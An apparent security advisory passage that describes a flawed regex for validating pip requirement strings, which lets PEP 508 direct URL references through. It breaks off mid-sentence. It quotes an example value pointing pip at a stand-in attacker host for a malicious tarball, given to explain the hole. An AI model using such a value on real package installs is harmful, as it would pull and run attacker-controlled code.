CVE-2026-31900: Permissive Pip Requirement Version Regexcve-2026-31900-permissive-pip-requirement-version-regex
A regex used to validate a Python package requirement / version specifier is built with a negated character class such as `[^A-Z0-9._-]+.*`. Negated classes accept whitespace and the `@` sign, allowing PEP 508 direct URL references like `pkg @ https://attacker.example.com/evil.tar.gz` to pass validation. If the captured value is later forwarded to `pip insta
